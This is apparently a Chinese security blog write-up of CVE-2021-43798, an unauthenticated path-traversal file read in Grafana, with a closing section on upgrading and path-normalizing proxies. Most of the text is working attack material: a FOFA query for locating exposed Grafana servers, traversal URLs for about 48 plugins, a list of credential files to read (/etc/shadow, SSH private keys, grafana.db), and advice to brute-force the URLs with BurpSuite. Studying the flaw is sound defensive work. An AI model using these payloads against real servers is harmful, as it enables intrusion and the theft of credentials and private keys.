CVE-2021-43798 Grafana 未经授权的任意文件读取漏洞

CVE-2021-43798 Grafana 未经授权的任意文件读取漏洞

目录

漏洞原理

漏洞信息

受影响版本

FOFA搜集相关资产

漏洞分析&漏洞复现

解决方案

漏洞原理

漏洞信息

受影响版本

FOFA搜集相关资产

app="Grafana"

漏洞分析&漏洞复现

读取敏感文件复现poc

/public/plugins/alertlist/../../../../../../../../etc/passwd

读取数据库文件 

读取配置文件

 还可以读取的其他文件

/conf/defaults.ini

/etc/grafana/grafana.ini

/etc/passwd

/etc/shadow

/home/grafana/.bash_history

/home/grafana/.ssh/id_rsa

/root/.bash_history

/root/.ssh/id_rsa

/usr/local/etc/grafana/grafana.ini

/var/lib/grafana/grafana.db

/proc/net/fib_trie

/proc/net/tcp

/proc/self/cmdline

该漏洞由于Grafana Plugins引发的目录穿越漏洞导致任意文件读取，上述截图仅展示了grafana-clock-panel插件的效果。官方公布的受影响Plugins为40个。

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

因为受影响的插件太多，所以建议使用BurpSuite工具爆破一波

解决方案

v8.0.0-beta1 和 v8.3.0 之间的所有安装都应尽快升级。

如果无法升级，在 Grafana 前运行反向代理来规范化请求的 PATH 将缓解该漏洞。例如，envoy 中的normalize_path设置。

得益于我们的深度防御方法，Grafana Cloud实例并未受到该漏洞的影响。

与往常一样，我们与所有许可提供 Grafana Pro 的云提供商密切协调。他们已收到禁运的早期通知，并确认他们的产品在本公告发布时是安全的。按字母顺序，这适用于 Amazon Managed Grafana 和 Azure Managed Grafana。

本文参考：GitHub - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability